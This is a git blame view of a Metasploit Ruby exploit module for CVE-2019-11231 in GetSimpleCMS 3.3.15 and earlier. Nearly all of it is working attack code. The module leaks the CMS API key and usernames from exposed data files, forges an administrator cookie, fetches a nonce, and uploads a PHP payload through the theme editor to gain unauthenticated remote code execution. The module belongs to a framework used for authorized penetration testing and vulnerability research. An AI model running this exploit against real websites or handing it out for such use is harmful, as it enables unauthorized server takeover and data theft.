Files
metasploit-gs/modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

189 lines
5.4 KiB
Ruby
Raw Normal View History

2019-05-01 20:05:57 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
however authentication can be bypassed by leaking the cms API key to target the session manager.
},
'License' => MSF_LICENSE,
'Author' => [
2019-05-04 23:11:40 -05:00
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team
2019-05-01 20:05:57 -04:00
],
2025-06-20 13:20:44 +01:00
'References' => [
2019-05-01 20:05:57 -04:00
['CVE', '2019-11231'],
2019-05-04 23:24:20 -05:00
['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],
2019-05-01 20:05:57 -04:00
],
2025-06-20 13:20:44 +01:00
'Payload' => {
2019-05-01 20:05:57 -04:00
'BadChars' => "\x00"
},
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2019-05-01 20:05:57 -04:00
'EXITFUNC' => 'thread'
},
2025-06-20 13:20:44 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
2019-05-01 20:05:57 -04:00
['GetSimpleCMS 3.3.15 and before', {}]
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2019-04-28',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2019-05-01 20:05:57 -04:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
2025-06-20 13:20:44 +01:00
]
)
2019-05-01 20:05:57 -04:00
end
def gscms_version
2025-06-20 13:20:44 +01:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', '/')
)
return unless res && res.code == 200
2019-05-01 20:05:57 -04:00
2025-06-20 13:20:44 +01:00
generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)
fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator
vers = generator.value.split('?v=').last.gsub(".", "")
return unless vers
2019-05-15 15:40:27 -05:00
2025-06-20 13:20:44 +01:00
@version = vers
2019-05-01 20:05:57 -04:00
end
def get_salt
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => uri
2019-05-01 20:05:57 -04:00
)
return unless res && res.code == 200
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?
2019-05-01 20:05:57 -04:00
@salt = res.get_xml_document.at('apikey').text
end
def get_user
2025-06-20 13:20:44 +01:00
uri = normalize_uri(target_uri.path, 'data', 'users', '/')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => uri
2019-05-01 20:05:57 -04:00
)
return unless res && res.code == 200
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?
2019-05-01 20:05:57 -04:00
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
end
2025-06-20 13:20:44 +01:00
def gen_cookie(version, salt, username)
2019-05-01 20:05:57 -04:00
cookie_name = "getsimple_cookie_#{version}"
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")
sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
end
2025-06-20 13:20:44 +01:00
2019-05-01 20:05:57 -04:00
def get_nonce(cookie)
res = send_request_cgi({
2019-05-15 15:40:27 -05:00
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(target_uri, 'admin', 'theme-edit.php'),
'cookie' => cookie,
2019-05-15 15:40:27 -05:00
'vars_get' => {
2025-06-20 13:20:44 +01:00
't' => 'Innovation',
'f' => 'Default Template',
's' => 'Edit'
2019-05-15 15:40:27 -05:00
}
2019-05-01 20:05:57 -04:00
})
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?
2019-05-01 20:05:57 -04:00
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
end
def exploit
2019-05-01 20:05:57 -04:00
unless check == CheckCode::Vulnerable
2025-06-20 13:20:44 +01:00
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
2019-05-01 20:05:57 -04:00
end
version = gscms_version
2019-05-15 15:40:27 -05:00
salt = get_salt
username = get_user
2025-06-20 13:20:44 +01:00
cookie = gen_cookie(version, salt, username)
2019-05-01 20:05:57 -04:00
nonce = get_nonce(cookie)
2019-05-15 15:40:27 -05:00
2019-05-04 23:11:40 -05:00
fname = "#{rand_text_alpha(6..16)}.php"
2025-06-20 13:20:44 +01:00
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie, nonce, fname, php)
2019-05-04 23:11:40 -05:00
send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'theme', fname),
2019-05-01 20:05:57 -04:00
})
end
def check
2019-05-04 23:11:40 -05:00
version = gscms_version
unless version
2025-06-20 13:20:44 +01:00
return CheckCode::Safe
2019-05-01 20:05:57 -04:00
end
2025-06-20 13:20:44 +01:00
2019-05-04 23:11:40 -05:00
vprint_status "GetSimpleCMS version #{version}"
unless vulnerable
2025-06-20 13:20:44 +01:00
return CheckCode::Detected
2019-05-01 20:05:57 -04:00
end
2025-06-20 13:20:44 +01:00
2019-05-04 23:11:40 -05:00
CheckCode::Vulnerable
2019-05-01 20:05:57 -04:00
end
def vulnerable
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => uri
2019-05-01 20:05:57 -04:00
)
return unless res && res.code == 200
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'users', '/')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => uri
2019-05-01 20:05:57 -04:00
)
return unless res && res.code == 200
2025-06-20 13:20:44 +01:00
2019-05-04 23:11:40 -05:00
return true
2019-05-01 20:05:57 -04:00
end
2025-06-20 13:20:44 +01:00
def upload_file(cookie, nonce, fname, content)
2019-05-01 20:05:57 -04:00
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'theme-edit.php'),
'cookie' => cookie,
2019-05-01 20:05:57 -04:00
'vars_post' => {
2025-06-20 13:20:44 +01:00
'submitsave' => 2,
2019-05-01 20:05:57 -04:00
'edited_file' => fname,
'content' => content,
'nonce' => nonce
}
})
end
end